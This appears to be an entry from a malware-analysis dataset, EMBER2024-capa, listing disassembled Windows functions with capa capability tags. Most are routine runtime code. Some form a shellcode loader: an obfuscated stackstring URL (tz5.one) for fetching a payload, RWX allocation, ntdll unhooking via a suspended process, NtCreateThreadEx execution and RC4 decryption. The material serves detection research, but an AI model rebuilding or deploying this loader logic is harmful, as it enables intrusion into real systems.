joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001550
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x78], rsi
mov dword [rbp - 0x40], 0x70747468
mov dword [rbp - 0x3c], 0x742f2f3a
mov dword [rbp - 0x38], 0x6f2e357a
mov dword [rbp - 0x34], 0x322f656e
mov dword [rbp - 0x30], 0x30343230
mov dword [rbp - 0x2c], 0x2e323131
mov dword [rbp - 0x28], 0x67706a
call fcn.1400013a0
mov rdi, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
cmp rdi, rsi
je 0x1400015f7
sub rsi, rdi
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
mov rdx, rsi
mov qword [rsp + 0x70], rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.1400027e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r8d, r8d
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.dbghelp.dll_EnumerateLoadedModules64]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
test rdi, rdi
je 0x140001609
mov rcx, rdi
call fcn.140002b14
xor eax, eax
mov rdi, qword [rsp + 0x80]
add rsp, 0x60
pop rbp
ret

Function at 0x140005570
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400053e0
Function at 0x140011cb0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400255f0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140006314
xor ebx, ebx
cmp qword [0x140027158], rbx
mov rdi, rax
jne 0x140011dc3
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140011e9a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140011e9a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140027158], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140027160], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140027168], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140027178], rax
test rax, rax
je 0x140011dba
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140027170], rax
jmp 0x140011dca
mov rax, qword [0x140027170]
jmp 0x140011dd1
mov rax, qword [0x140027170]
mov r11, qword [0x140027178]
cmp rax, rdi
je 0x140011e38
cmp r11, rdi
je 0x140011e38
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140027178]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140011e38
test rax, rax
je 0x140011e38
call rsi
test rax, rax
je 0x140011e32
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140011e32
test byte [rsp + 0x40], 1
jne 0x140011e38
bts ebp, 0x15
jmp 0x140011e78
mov rcx, qword [0x140027160]
cmp rcx, rdi
je 0x140011e78
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140011e78
call rax
mov rbx, rax
test rax, rax
je 0x140011e78
mov rcx, qword [0x140027168]
cmp rcx, rdi
je 0x140011e78
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140011e78
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140027158]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140011e9a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140011e9c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400084e0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400153fb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400255f0]
jne 0x1400084fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400084f6
repz ret
ror rcx, 0x10
jmp 0x140015354
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140027230]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140027328]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400153d9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140027230]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400153fb
mov rax, qword [rsp + 0x88]
mov qword [0x140027328], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400272c8], rax
mov rax, qword [0x140027328]
mov qword [0x1400271a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400272b0], rax
mov dword [0x140027190], 0xc0000409
mov dword [0x140027194], 1
mov rax, qword [0x1400255f0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400255f8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140027228], eax
mov ecx, 1
call fcn.140008500
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001faf0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140027228], 0
jne 0x140015482
mov ecx, 1
call fcn.140008500
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400048e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002540
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002bc0
Capabilities:
Access peb ldr_data

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rbx, qword [rax + 0x20]
mov rsi, rcx
test rbx, rbx
je 0x140002c03
cmp word [rbx + 0x48], 0
je 0x140002c01
mov rcx, qword [rbx + 0x50]
mov rdx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsicmp
test eax, eax
jne 0x140002bfc
mov rbx, qword [rbx + 0x20]
jmp 0x140002c03
mov rbx, qword [rbx]
jmp 0x140002bda
xor ebx, ebx
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x140002c10
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor eax, eax
cmp word [rcx], 0x5a4d
mov rbx, rcx
mov rbp, rdx
jne 0x140002c91
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140002c91
mov edi, dword [rdx + 0x88]
xor esi, esi
add rdi, rcx
mov r12d, dword [rdi + 0x20]
mov r13d, dword [rdi + 0x14]
add r12, rcx
cmp esi, r13d
jae 0x140002c8f
mov edx, dword [r12 + rsi*4]
mov rcx, rbp
add rdx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov edx, eax
lea rax, [rsi + 1]
test edx, edx
jne 0x140002c8a
mov eax, dword [rdi + 0x24]
add rsi, rsi
add rsi, rbx
movzx edx, word [rsi + rax]
mov eax, dword [rdi + 0x1c]
lea rdx, [rbx + rdx*4]
mov eax, dword [rdx + rax]
add rax, rbx
jmp 0x140002c91
mov rsi, rax
jmp 0x140002c50
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x4023a6
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov edx, 0
mov rcx, qword [rbp + 0x10]
call fcn.004022e8
test eax, eax
je 0x4023ce
mov eax, 1
jmp 0x4024ff
lea rdx, [0x0040a21c]
mov rcx, qword [rbp + 0x10]
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x402403
mov rdx, qword [rbp + 0x10]
lea rcx, str.Input_file__s_is_not_readable_n
call fcn.00402b7f
mov eax, 1
jmp 0x4024ff
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x18]
mov r9, rdx
mov r8d, 1
mov edx, 8
mov rcx, rax
call sub.msvcrt.dll_fread
cmp rax, 1
je 0x40244d
mov rdx, qword [rbp + 0x10]
lea rcx, str._s:_Failed_to_read_files_magic_number_n
call fcn.00402b7f
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, 1
jmp 0x4024ff
lea rax, [rbp - 0x18]
mov r8d, 8
lea rdx, str.__arch__n
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x402485
mov rax, qword [rbp - 0x10]
mov r8d, 0
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call fcn.00401e58
mov dword [rbp - 4], eax
jmp 0x4024f0
lea rax, [rbp - 0x18]
mov r8d, 8
lea rdx, str.__thin__n
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x4024bd
mov rax, qword [rbp - 0x10]
mov r8d, 1
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call fcn.00401e58
mov dword [rbp - 4], eax
jmp 0x4024f0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_rewind
mov dword [0x0040f040], 0
mov dword [0x0040f044], 0
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call fcn.00401dc3
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret
Function at 0x4043e7
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 8]
mov r8d, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
test eax, eax
je 0x404437
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov rdx, rax
lea rcx, str._s:_failed_to_seek_to_next_file_name_n
call fcn.00402b7f
mov eax, 0
jmp 0x4044d5
mov rax, qword [rbp + 0x10]
mov rdx, qword [rax + 8]
mov rax, qword [rbp + 0x10]
add rax, 0x4c
mov r9, rdx
mov r8d, 0x3c
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0x3c
je 0x404485
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov rdx, rax
lea rcx, str._s:_failed_to_read_archive_header_n
call fcn.00402b7f
mov eax, 0
jmp 0x4044d5
mov rax, qword [rbp + 0x10]
add rax, 0x86
mov r8d, 2
lea rdx, [0x0040b02e]
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x4044c5
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov rdx, rax
lea rcx, str._s:_did_not_find_a_valid_archive_header_n
call fcn.00402b7f
mov eax, 0
jmp 0x4044d5
mov rax, qword [rbp + 0x20]
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call fcn.004040f8
add rsp, 0x30
pop rbp
ret
Function at 0x40523b
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, dword [0x00409180]
mov dword [0x0040f16c], eax
mov eax, dword [0x0040f16c]
mov dword [0x0040f168], eax
mov qword [0x0040f150], 0
lea rcx, str.POSIXLY_CORRECT
call sub.msvcrt.dll_getenv
mov qword [0x0040f160], rax
mov rax, qword [rbp + 0x20]
movzx eax, byte [rax]
cmp al, 0x2d
jne 0x4052a0
mov dword [0x0040f158], 2
add qword [rbp + 0x20], 1
jmp 0x4052de
mov rax, qword [rbp + 0x20]
movzx eax, byte [rax]
cmp al, 0x2b
jne 0x4052bc
mov dword [0x0040f158], 0
add qword [rbp + 0x20], 1
jmp 0x4052de
mov rax, qword [0x0040f160]
test rax, rax
je 0x4052d4
mov dword [0x0040f158], 0
jmp 0x4052de
mov dword [0x0040f158], 1
mov rax, qword [rbp + 0x20]
add rsp, 0x20
pop rbp
ret

Function at 0x406d00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x0040f764]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x406e20
mov rax, qword [0x0040f768]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x406d4c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x406e06
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x406d30
mov rcx, rsi
call fcn.00407940
test rax, rax
mov r12, rax
je 0x406e58
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x0040f768]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.00407a90
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x0040f768]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x406e3b
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x406dff
sub eax, 0x40
and eax, 0xffffffbf
je 0x406dff
add rbx, qword [0x0040f768]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x406e27
add dword [0x0040f764], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebx, ebx
jmp 0x406d57
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00406c90
mov rax, qword [0x0040f768]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00406c90
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00406c90
nop
nop dword [rax + rax]
Function at 0x4075b0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040fa40]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040fa20]
test rbx, rbx
je 0x407604
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4075fb
test rsi, rsi
je 0x4075fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4075e0
lea rcx, [0x0040fa40]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x407940
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x0040bac0]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x407960
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.00407820
test eax, eax
je 0x407958
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4079bd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x4079b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x407958
add rdx, 0x28
cmp rdx, r9
jne 0x4079a0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x140001e60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001ebc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001eb3
test rsi, rsi
je 0x140001eb3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e98
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002108
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002110
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002108
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002110
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002108
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002110
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002210
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005640]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002230
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002238
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002230
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000228d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002284
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002230
add rax, 0x28
cmp rax, r9
jne 0x140002270
xor eax, eax
ret

Function at 0x140002290
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005640]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022af
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005640]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000236f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002378
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002530
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002560
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002950
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x110
mov rsi, qword [0x140005710]
mov ecx, 0x1a
xor r9d, r9d
mov rax, qword [rsi]
mov qword [rsp + 0x108], rax
xor eax, eax
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x70]
mov rdi, rdx
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor eax, eax
xor r8d, r8d
mov qword [rsp + 0x40], rdx
lea rcx, [0x140005060]
xor edx, edx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0x70], 0
jne 0x1400029d9
xor ebx, ebx
jmp 0x140002a69
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x88]
mov rdx, rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x58], r8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8, qword [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, dword [rsp + 0x90]
mov rbx, rax
mov rdx, qword [rsp + 0x88]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400029d2
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0x108]
sub rax, qword [rsi]
je 0x140002a7b
call fcn.140002530
mov rax, rbx
add rsp, 0x110
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002a90
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov rbp, qword [0x140005710]
xor r10d, r10d
xor r8d, r8d
mov rax, qword [rbp]
mov qword [rsp + 0x78], rax
xor eax, eax
mov qword [rsp + 0x68], rdx
mov rsi, rcx
mov rbx, rdx
lea r9, [rsp + 0x68]
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], r10
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call sub.ntdll.dll_NtAllocateVirtualMemory
test eax, eax
jne 0x140002b5c
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor eax, eax
xor edx, edx
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x70], rax
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x70]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtCreateThreadEx
test eax, eax
jne 0x140002b5c
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002b5c
xor r8d, r8d
mov edx, 1
call sub.ntdll.dll_NtWaitForSingleObject
mov rax, qword [rsp + 0x78]
sub rax, qword [rbp]
je 0x140002b6d
call fcn.140002530
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140002c10
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x140005710]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x140002c5b
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002b80
cmp rsi, 0x100
jne 0x140002c85
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140002d15
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002b80
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140002cc0
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140002d27
call fcn.140002530
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret